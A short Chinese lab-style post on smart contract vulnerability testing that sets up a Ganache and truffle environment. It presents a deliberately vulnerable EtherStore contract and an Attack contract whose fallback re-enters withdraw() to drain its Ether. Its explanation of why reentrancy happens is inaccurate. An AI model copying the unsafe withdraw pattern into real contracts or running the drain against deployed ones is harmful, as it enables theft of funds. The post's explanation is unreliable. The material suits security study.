当前位置：首页 > news >正文

【区块链】智能合约漏洞测试

news 2025/7/11 1:49:13

打开Ganache

vscode打开智能合约漏洞工程

合约内容

pragma solidity >=0.8.3;contract EtherStore {mapping(address => uint) public balances;function deposit() public payable {balances[msg.sender] += msg.value;emit Balance(balances[msg.sender]);}function withdraw() public {uint bal = balances[msg.sender];require(bal > 0);(bool sent, ) = msg.sender.call{value: bal}("");require(sent, "Failed to send Ether");balances[msg.sender] = 0;}// Helper function to check the balance of this contractfunction getBalance() public view returns (uint) {return address(this).balance;}
}contract Attack {EtherStore public etherStore;constructor(address _etherStoreAddress) {etherStore = EtherStore(_etherStoreAddress);}// Fallback is called when EtherStore sends Ether to this contract.fallback() external payable {if (address(etherStore).balance >= 1) {etherStore.withdraw();}}function attack() external payable {require(msg.value >= 1);etherStore.deposit{value: 1}();etherStore.withdraw();}// Helper function to check the balance of this contractfunction getBalance() public view returns (uint) {return address(this).balance;}
}

此智能合约存在“重入"即“Re-Entrance"问题，由于调用智能合约的转账操作需要通过打包后才会生效，可能出现重复提现从而使得其他合约账户被盗的问题

根据truffle工具中的代码文件，编写测试用例，复现智能合约中存在的漏洞